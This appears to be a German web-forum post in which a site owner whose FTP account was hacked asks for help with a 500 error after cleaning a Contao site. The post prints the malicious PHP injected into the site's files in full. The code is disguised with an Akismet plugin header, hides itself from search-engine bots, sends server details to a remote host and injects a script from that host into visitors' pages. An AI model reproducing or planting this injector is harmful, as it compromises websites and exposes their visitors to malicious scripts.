FTP-account gehackt - Probleme beim Bereinigen
Hallo Community,
leider ist offenbar mein FTP-account gehackt worden (WS FTP bzw. Filezilla).
Praktisch alle Seiten sind nun infiziert mit einem Code, der versucht, die Seiten auf eine andere weiterzuleiten. Das funktioniert zwar nicht, aber beheben muss ich es ja trotzdem.
Hab natürlich zunächst die FTP-Programme runtergeschmissen, das ganze System mehrfach mit mehreren Scannern gescannt und arbeite trotzdem sicherheitshalber im Moment mit einem anderen Rechner und anderem FTP-Zugang (WINSCP). Alle Zugänge sind geändert.
Bei der ersten Installation war es alles recht einfach.
Nun sitz ich schon seit Stunden bei der zweiten.
Das ist noch eine Contao 2.9.5 - Installation (ja, ich weiss, aber die Seite ist schon seit über einem Jahr inaktiv (keine neuen Einträge) und es ist noch nicht klar, wann sie wieder aktiv wird, deshalb hab ich das update noch aufgeschoben.
Der Contao-Check zeigte mehrere korrupte Dateien. Das und noch ein paar Berechtigungsfehler.
Ich habe die korrupten Dateien (über einen anderen Rechner und WINSCP) durch die originalen ersetzt und die Berechtigungsfehler behoben.
Der Check zeigt nun keine Probleme mehr an, aber: wenn ich die Seite aufrufe, bekomme ich einen 500-Internal-Server-Error.
Das ist ja meistens irgendwas mit einer Berechtigung - aber wo???
Das Backend funktioniert normal.
Hier ist die URL: http://www.blickpunkt-caritas.de
Hat irgendwer, bitte, einen Tipp??? <Haare-rauf!!!!>
Der Code, der diversen Seiten (index.php, contao/index.php, contao/main.php, contao/page.php, typolight/index.php, typolight/main.php und tl_files/tiny templates/index.html) hinzugefügt wurde, ist folgender:
PHP-Code:
<?php
#8c42a3#
/**
* @package Akismet
*/
/*
Plugin Name: Akismet
Plugin URI: http://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key.
Version: 3.0.0
Author: Automattic
Author URI: http://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/
/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
if( empty( $o ) ) {
if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match(
"/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
$_SERVER['HTTP_USER_AGENT']
)
) {
} else {
error_reporting( 0 );
@ini_set( 'display_errors', 0 );
if( !function_exists( '__url_get_contents' ) ) {
function __url_get_contents( $remote_url, $timeout )
{
if( function_exists( 'curl_exec' ) ) {
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $remote_url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
$_url_get_contents_data = curl_exec( $ch );
curl_close( $ch );
} elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) {
$ctx = @stream_context_create(
array(
'http' =>
array(
'timeout' => $timeout,
)
)
);
$_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
} elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) {
$handle = @fopen( $remote_url, "r" );
$_url_get_contents_data = @stream_get_contents( $handle );
} else {
$_url_get_contents_data = __file_get_url_contents( $remote_url );
}
return $_url_get_contents_data;
}
}
if( !function_exists( '__file_get_url_contents' ) ) {
function __file_get_url_contents( $remote_url )
{
if( preg_match(
'/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url,
$matches
)
) {
$protocol = strtolower( $matches[1] );
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return false;
}
if( $protocol == "http" ) {
$socket = @fsockopen( $host, 80, $errno, $errstr, $timeout );
} else {
// Bad protocol
return false;
}
if( !$socket ) {
// Error creating socket
return false;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = @fwrite( $socket, $request );
if( $len_written === false || $len_written != strlen( $request ) ) {
// Error sending request
return false;
}
$response = "";
while( !@feof( $socket ) &&
( $buf = @fread( $socket, 4096 ) ) !== false ) {
$response .= $buf;
}
if( $buf === false ) {
// Error reading response
return false;
}
$end_of_header = strpos( $response, "\r\n\r\n" );
return substr( $response, $end_of_header + 4 );
}
}
$o['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
$o['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
$o['PHP_SELF'] = $_SERVER['PHP_SELF'];
$o['HTTP_HOST'] = $_SERVER['HTTP_HOST'];
$o['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS'];
$o['SERVER_NAME'] = $_SERVER['SERVER_NAME'];
$o['SERVER_ADDR'] = $_SERVER['SERVER_ADDR'];
$o['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN'];
$o = __url_get_contents(
"http://heleenbaars.nl/wp-content/themes/twentythirteen/n2hrjhv8.php" . "?fid=3310&info=" . http_build_query( $o ) . "&no=1&allow=1",
2
);
$o = trim( $o );
if( $o !== 'false' ) {
echo "<script type=\"text/javascript\" src=\"http://heleenbaars.nl/wp-content/themes/twentythirteen/n2hrjhv8.php?id=81925\"></script>";
}
}
}
#/8c42a3#
?>